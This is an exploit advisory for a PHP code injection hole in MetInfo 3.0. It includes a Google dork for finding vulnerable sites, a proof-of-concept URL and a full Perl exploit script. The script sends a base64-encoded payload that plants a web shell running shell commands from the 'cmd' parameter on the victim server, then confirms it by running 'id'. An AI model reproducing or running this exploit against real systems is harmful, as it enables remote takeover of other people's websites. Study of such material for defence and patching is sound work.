##################################################################################################### #Exploit Title£ºMetInfo 3.0 PHP Code Injection Vulnerability #Date:2010-10-31 #Author£ºlinux520.com #Team£ºhttp://www.linux520.com/ #Vendor£ºhttp://www.metinfo.cn/ #Dork£º"Powered by MetInfo 3.0 " # Google: 400,000 + results #Price£º free #Language£ºPHP #Greetz£ºCCAV ##################################################################################################### +Description£º at 67 line of ROOTPATH/include/common.inc.php: eval(base64_decode($allclass[0])); $allclass[0] is not defined £¬so we can inject eval php code ##################################################################################################### +POC£ºhttp://victim.com/include/common.inc.php?allclass[0]=[base64_encode(eval php code)] ##################################################################################################### +Exploit: #!/usr/bin/env perl use LWP::UserAgent; print "################################################################\n"; print "# MetInfo 3.0 c0de inj3cti0n 3xplo!t #\n"; print "# by:linux520.com #\n"; print "################################################################\n"; die "Usage: $0 Ex:$0 victim.com\n" unless($ARGV[0]); my $victim = $ARGV[0]; $user_agent = new LWP::UserAgent; $vul_request = new HTTP::Request('GET',"http://$victim/include/common.inc.php?allclass[0]=ZnB1dHMoZm9wZW4oJy4uL3RlbXBsYXRlcy90ZXN0LnBocCcsJ3crJyksJzw/cGhwIHBhc3N0aHJ1KCRfR0VUW2NtZF0pPz4nKTs="); # fputs(fopen('../templates/test.php','w+'),''); $user_agent->request($vul_request); $response = $user_agent->request(new HTTP::Request('GET',"http://$victim/templates/test.php")); if($response->is_success) { print "code injection successful ! plz look at http://$victim/templates/test.php?cmd=id"; } else { print "could not connect to $victim"; } #####################################################################################################